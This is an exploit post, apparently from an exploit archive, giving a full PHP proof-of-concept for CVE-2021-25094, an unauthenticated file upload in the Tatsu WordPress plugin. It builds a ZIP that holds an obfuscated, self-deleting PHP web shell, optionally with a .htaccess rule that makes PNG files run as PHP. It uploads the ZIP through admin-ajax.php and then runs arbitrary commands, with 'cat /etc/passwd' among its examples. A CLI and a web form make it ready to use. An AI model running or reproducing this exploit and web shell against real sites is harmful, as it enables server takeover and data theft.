=============================================================================================================================================
| # Title     : WordPress Tatsu 3.3.11 Plugin Unauthenticated File Upload                                                                   |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://tatsubuilder.com/                                                                                                   |
=============================================================================================================================================

[+] References :  https://packetstorm.news/files/id/190566/ & 	CVE-2021-25094

[+] Summary : 
             Critical unauthenticated remote code execution vulnerability in Tatsu WordPress Plugin (versions 3.3.11) 
			 allowing attackers to upload and execute arbitrary PHP code through malicious ZIP file uploads without any authentication.
			 
[+]  POC : 

php poc.php  or http://127.0.0.1/poc.php 

<?php
/*
 * Tatsu WordPress Plugin Pre-Auth RCE Exploit
 * CVE-2021-25094
 * by indoushka
 * PHP Implementation based on Python exploit
 */

class TatsuRCEExploit {
    private $target;
    private $port;
    private $ssl;
    private $base_path;
    private $timeout;
    private $headers;
    private $zip_name;
    private $shell_filename;
    
    public function __construct($target, $port = 80, $ssl = false, $base_path = '/') {
        $this->target = $target;
        $this->port = $port;
        $this->ssl = $ssl;
        $this->base_path = rtrim($base_path, '/');
        $this->timeout = 30;
        $this->headers = [
            'X-Requested-With: XMLHttpRequest',
            'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
            'Accept: */*',
            'Accept-Language: en-US,en;q=0.9'
        ];
    }
    
    /**
     * Check if target is vulnerable
     */
    public function check() {
        echo "[*] Checking Tatsu WordPress Plugin vulnerability...\n";
        
        // Check if WordPress is accessible
        $res = $this->send_request('/');
        if (!$res || $res['code'] != 200) {
            echo "[-] Cannot access WordPress site\n";
            return "unknown";
        }
        
        // Check Tatsu plugin
        $res = $this->send_request('/wp-content/plugins/tatsu/');
        if ($res && $res['code'] == 200) {
            echo "[+] Tatsu plugin detected\n";
            
            // Try to check version from changelog
            $version = $this->check_version();
            if ($version && $this->is_version_vulnerable($version)) {
                echo "[+] ✓ Tatsu version $version is vulnerable\n";
                return "vulnerable";
            } else {
                echo "[+] Tatsu plugin found (version check failed)\n";
                return "likely_vulnerable";
            }
        }
        
        echo "[-] Tatsu plugin not found\n";
        return "safe";
    }
    
    /**
     * Check Tatsu version
     */
    private function check_version() {
        $res = $this->send_request('/wp-content/plugins/tatsu/changelog.md');
        if ($res && $res['code'] == 200) {
            if (preg_match('/v?(\d+\.\d+\.\d+)/', $res['body'], $matches)) {
                return $matches[1];
            }
        }
        return null;
    }
    
    /**
     * Check if version is vulnerable
     */
    private function is_version_vulnerable($version) {
        return version_compare($version, '3.3.11', '<=');
    }
    
    /**
     * Generate malicious ZIP file
     */
    private function generate_zip($technique = 'php', $custom_shell = null, $keep = false) {
        echo "[*] Generating malicious ZIP file...\n";
        
        $zip = new ZipArchive();
        $zip_filename = tempnam(sys_get_temp_dir(), 'tatsu_') . '.zip';
        
        if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) {
            return false;
        }
        
        $this->zip_name = $this->random_string(3);
        $this->shell_filename = '.' . $this->random_string(5);
        
        switch ($technique) {
            case 'php':
                $shell_content = $this->generate_php_shell($keep);
                $this->shell_filename .= '.php';
                break;
                
            case 'htaccess':
                $shell_content = $this->generate_htaccess_shell($keep);
                $this->shell_filename .= '.png';
                break;
                
            case 'custom':
                if ($custom_shell && file_exists($custom_shell)) {
                    $shell_content = file_get_contents($custom_shell);
                    $this->shell_filename = '.' . basename($custom_shell);
                } else {
                    echo "[-] Custom shell file not found\n";
                    return false;
                }
                break;
                
            default:
                echo "[-] Unknown technique: $technique\n";
                return false;
        }
        
        if ($technique == 'htaccess') {
            $zip->addFromString('.htaccess', "AddType application/x-httpd-php .png\n");
        }
        
        $zip->addFromString($this->shell_filename, $shell_content);
        $zip->close();
        
        $zip_content = file_get_contents($zip_filename);
        unlink($zip_filename);
        
        return $zip_content;
    }
    
    /**
     * Generate PHP shell
     */
    private function generate_php_shell($keep = false) {
        $shell = '<?php ';
        $shell .= '$f = "lmeyst";';
        $shell .= '@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];';
        $shell .= '@$words = array(base64_decode($_POST[\'text\']));';
        $shell .= '$j="array"."_"."filter";';
        $shell .= '@$filtered_words = $j($words, $a);';
        if (!$keep) {
            $shell .= '@unlink(__FILE__);';
        }
        $shell .= '?>';
        
        return $shell;
    }
    
    /**
     * Generate .htaccess + PHP shell
     */
    private function generate_htaccess_shell($keep = false) {
        $shell = '<?php ';
        $shell .= '$f = "lmeyst";';
        $shell .= '@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];';
        $shell .= '@$words = array(base64_decode($_POST[\'text\']));';
        $shell .= '$j="array"."_"."filter";';
        $shell .= '@$filtered_words = $j($words, $a);';
        if (!$keep) {
            $shell .= '@unlink(\'.\'+\'h\'+\'t\'+\'a\'+\'cc\'+\'e\'+\'ss\');';
            $shell .= '@unlink(__FILE__);';
        }
        $shell .= '?>';
        
        return $shell;
    }
    
    /**
     * Upload malicious ZIP
     */
    private function upload_zip($zip_content) {
        echo "[*] Uploading malicious ZIP file...\n";
        
        $boundary = '----WebKitFormBoundary' . $this->random_string(16);
        
        $data = "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
        $data .= "add_custom_font\r\n";
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$this->zip_name}.zip\"\r\n";
        $data .= "Content-Type: application/zip\r\n\r\n";
        $data .= $zip_content . "\r\n";
        $data .= "--{$boundary}--\r\n";
        
        $headers = array_merge($this->headers, [
            "Content-Type: multipart/form-data; boundary={$boundary}",
            "Content-Length: " . strlen($data)
        ]);
        
        $res = $this->send_request('/wp-admin/admin-ajax.php', 'POST', [], $data, $headers);
        
        if ($res && $res['code'] == 200) {
            $json = json_decode($res['body'], true);
            if ($json && isset($json['status']) && $json['status'] == 'success') {
                echo "[+] ZIP file uploaded successfully\n";
                if (isset($json['name'])) {
                    $this->zip_name = $json['name'];
                }
                return true;
            }
        }
        
        echo "[-] ZIP upload failed\n";
        if ($res) {
            echo "[-] HTTP {$res['code']}: {$res['body']}\n";
        }
        return false;
    }
    
    /**
     * Execute command via uploaded shell
     */
    public function execute_command($command, $technique = 'php', $custom_shell = null, $keep = false) {
        echo "[*] Executing command: $command\n";
        
        // Generate and upload ZIP
        $zip_content = $this->generate_zip($technique, $custom_shell, $keep);
        if (!$zip_content) {
            echo "[-] Failed to generate ZIP file\n";
            return false;
        }
        
        if (!$this->upload_zip($zip_content)) {
            return false;
        }
        
        // Build shell URL
        $shell_url = "/wp-content/uploads/typehub/custom/{$this->zip_name}/{$this->shell_filename}";
        echo "[+] Shell URL: {$this->build_url($shell_url)}\n";
        
        // Execute command
        $encoded_cmd = base64_encode($command);
        $post_data = "text={$encoded_cmd}";
        
        $headers = array_merge($this->headers, [
            'Content-Type: application/x-www-form-urlencoded',
            'Content-Length: ' . strlen($post_data)
        ]);
        
        $res = $this->send_request($shell_url, 'POST', [], $post_data, $headers);
        
        if ($res && $res['code'] == 200) {
            echo "[+] Command executed successfully\n";
            echo "[+] Output:\n{$res['body']}\n";
            return true;
        } else {
            echo "[-] Command execution failed\n";
            if ($res) {
                echo "[-] HTTP {$res['code']}\n";
            }
            return false;
        }
    }
    
    /**
     * Full exploitation
     */
    public function exploit($command = 'whoami', $technique = 'php', $custom_shell = null, $keep = false) {
        echo "[*] Starting Tatsu WordPress Plugin exploitation...\n";
        
        // Check vulnerability first
        $status = $this->check();
        if ($status !== "vulnerable" && $status !== "likely_vulnerable") {
            echo "[-] Target does not appear to be vulnerable\n";
            return false;
        }
        
        echo "[*] Target appears vulnerable, proceeding with exploitation...\n";
        
        if ($this->execute_command($command, $technique, $custom_shell, $keep)) {
            echo "[+] ✓ Exploitation completed successfully\n";
            return true;
        } else {
            echo "[-] Exploitation failed\n";
            return false;
        }
    }
    
    /**
     * Send HTTP request
     */
    private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = []) {
        $url = $this->build_url($path);
        
        if ($method == 'GET' && !empty($params)) {
            $url .= '?' . http_build_query($params);
        }
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $this->timeout,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_CUSTOMREQUEST => $method,
            CURLOPT_FOLLOWLOCATION => false,
            CURLOPT_HEADER => false
        ]);
        
        // Add POST data if provided
        if ($method == 'POST' && $data) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }
        
        // Build headers
        $headers = array_merge($this->headers, $custom_headers);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($response !== false) {
            return [
                'code' => $http_code,
                'body' => $response
            ];
        }
        
        return false;
    }
    
    /**
     * Generate random string
     */
    private function random_string($length = 8) {
        $chars = 'abcdefghijklmnopqrstuvwxyz';
        $result = '';
        for ($i = 0; $i < $length; $i++) {
            $result .= $chars[rand(0, strlen($chars) - 1)];
        }
        return $result;
    }
    
    /**
     * Build full URL
     */
    private function build_url($path) {
        $protocol = $this->ssl ? 'https' : 'http';
        $full_path = $this->base_path . $path;
        return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
    }
}

// CLI Interface
if (php_sapi_name() === 'cli') {
    echo "
    ╔══════════════════════════════════════════════════════════════╗
    ║                Tatsu WordPress Plugin RCE                   ║
    ║                      CVE-2021-25094                         ║
    ║                     PHP Implementation                      ║
    ╚══════════════════════════════════════════════════════════════╝
    
    \n";
    
    $options = getopt("t:p:s:u:cC:T:k", [
        "target:",
        "port:",
        "ssl",
        "uri:",
        "check",
        "command:",
        "technique:",
        "custom-shell:",
        "keep"
    ]);
    
    $target = $options['t'] ?? $options['target'] ?? null;
    $port = $options['p'] ?? $options['port'] ?? 80;
    $ssl = isset($options['s']) || isset($options['ssl']);
    $base_uri = $options['u'] ?? $options['uri'] ?? '/';
    $check_only = isset($options['c']) || isset($options['check']);
    $command = $options['C'] ?? $options['command'] ?? 'whoami';
    $technique = $options['T'] ?? $options['technique'] ?? 'php';
    $custom_shell = $options['custom-shell'] ?? null;
    $keep = isset($options['k']) || isset($options['keep']);
    
    if (!$target) {
        echo "Usage: php tatsu_exploit.php [options]\n";
        echo "Options:\n";
        echo "  -t, --target        Target host (required)\n";
        echo "  -p, --port          Target port (default: 80)\n";
        echo "  -s, --ssl           Use SSL (default: false)\n";
        echo "  -u, --uri           Base URI path (default: /)\n";
        echo "  -c, --check         Check only (don't exploit)\n";
        echo "  -C, --command       Command to execute (default: whoami)\n";
        echo "  -T, --technique     Shell technique: php, htaccess, custom (default: php)\n";
        echo "  --custom-shell      Custom shell file path (for custom technique)\n";
        echo "  -k, --keep          Keep shell file after execution\n";
        echo "\nExamples:\n";
        echo "  php tatsu_exploit.php -t wordpress.example.com -c\n";
        echo "  php tatsu_exploit.php -t 192.168.1.100 -C 'id; uname -a'\n";
        echo "  php tatsu_exploit.php -t site.com -T htaccess -C 'cat /etc/passwd'\n";
        exit(1);
    }
    
    $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);
    
    if ($check_only) {
        $result = $exploit->check();
        echo "\n[*] Result: {$result}\n";
    } else {
        if ($exploit->exploit($command, $technique, $custom_shell, $keep)) {
            echo "[+] Exploitation completed successfully\n";
        } else {
            echo "[-] Exploitation failed\n";
        }
    }
    
} else {
    // Web Interface
    $action = $_POST['action'] ?? '';
    
    if ($action === 'check' || $action === 'exploit') {
        $target = $_POST['target'] ?? '';
        $port = $_POST['port'] ?? 80;
        $ssl = isset($_POST['ssl']);
        $base_uri = $_POST['uri'] ?? '/';
        $command = $_POST['command'] ?? 'whoami';
        $technique = $_POST['technique'] ?? 'php';
        $keep = isset($_POST['keep']);
        
        if (empty($target)) {
            echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
        } else {
            $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);
            
            ob_start();
            if ($action === 'check') {
                $exploit->check();
            } else {
                $exploit->exploit($command, $technique, null, $keep);
            }
            $output = ob_get_clean();
            
            echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
        }
        
        echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
        
    } else {
        // Display the form
        echo '<!DOCTYPE html>
        <html>
        <head>
            <title>Tatsu WordPress Plugin RCE - CVE-2021-25094</title>
            <meta charset="UTF-8">
            <style>
                body { 
                    font-family: Arial, sans-serif; 
                    margin: 0; 
                    padding: 20px; 
                    background: #f5f5f5;
                }
                .container { 
                    max-width: 800px; 
                    margin: 0 auto; 
                    background: white;
                    padding: 30px;
                    border-radius: 8px;
                    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                }
                h1 { 
                    color: #333; 
                    border-bottom: 2px solid #007cba;
                    padding-bottom: 10px;
                }
                .form-group { 
                    margin-bottom: 20px; 
                }
                label { 
                    display: block; 
                    margin-bottom: 8px; 
                    font-weight: bold;
                    color: #333;
                }
                input[type="text"], select { 
                    width: 100%; 
                    padding: 10px; 
                    border: 1px solid #ddd; 
                    border-radius: 4px; 
                    box-sizing: border-box;
                    font-size: 14px;
                }
                .checkbox-group {
                    display: flex;
                    align-items: center;
                    gap: 10px;
                }
                button { 
                    background: #007cba; 
                    color: white; 
                    padding: 12px 25px; 
                    border: none; 
                    border-radius: 4px; 
                    cursor: pointer; 
                    margin-right: 10px;
                    font-size: 16px;
                }
                .danger { 
                    background: #dc3545; 
                }
                .info { 
                    background: #17a2b8; 
                }
                .warning-box {
                    background: #fff3cd;
                    border: 1px solid #ffeaa7;
                    color: #856404;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
                .info-box {
                    background: #d1ecf1;
                    border: 1px solid #bee5eb;
                    color: #0c5460;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <h1>Tatsu WordPress Plugin RCE</h1>
                <h3>CVE-2021-25094 - Unauthenticated Remote Code Execution</h3>
                
                <div class="warning-box">
                    <strong>⚠️ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in Tatsu WordPress Plugin.
                    Use only on systems you own or have explicit permission to test.
                </div>
                
                <form method="post">
                    <div class="form-group">
                        <label for="target">Target Host:</label>
                        <input type="text" id="target" name="target" placeholder="wordpress.example.com" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="port">Port:</label>
                        <input type="text" id="port" name="port" value="80">
                    </div>
                    
                    <div class="form-group">
                        <label for="uri">Base URI:</label>
                        <input type="text" id="uri" name="uri" value="/">
                    </div>
                    
                    <div class="form-group">
                        <div class="checkbox-group">
                            <input type="checkbox" id="ssl" name="ssl">
                            <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                        </div>
                    </div>
                    
                    <div class="form-group">
                        <label for="command">Command to Execute:</label>
                        <input type="text" id="command" name="command" value="whoami">
                    </div>
                    
                    <div class="form-group">
                        <label for="technique">Shell Technique:</label>
                        <select id="technique" name="technique">
                            <option value="php">PHP Shell</option>
                            <option value="htaccess">.htaccess + PHP</option>
                        </select>
                    </div>
                    
                    <div class="form-group">
                        <div class="checkbox-group">
                            <input type="checkbox" id="keep" name="keep">
                            <label for="keep" style="display: inline; font-weight: normal;">Keep shell file</label>
                        </div>
                    </div>
                    
                    <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                    <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                </form>
                
                <div class="info-box">
                    <h3>About CVE-2021-25094:</h3>
                    <p><strong>Vulnerability:</strong> Unauthenticated file upload leading to RCE</p>
                    <p><strong>Affected Versions:</strong> Tatsu Plugin ≤ 3.3.11</p>
                    <p><strong>Authentication:</strong> None required</p>
                    <p><strong>Endpoint:</strong> /wp-admin/admin-ajax.php</p>
                    <p><strong>Action:</strong> add_custom_font</p>
                    <p><strong>Impact:</strong> Remote Code Execution via ZIP file upload</p>
                    <p><strong>Exploit Chain:</strong> ZIP Upload → File Extraction → PHP Execution</p>
                </div>
            </div>
        </body>
        </html>';
    }
}
?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================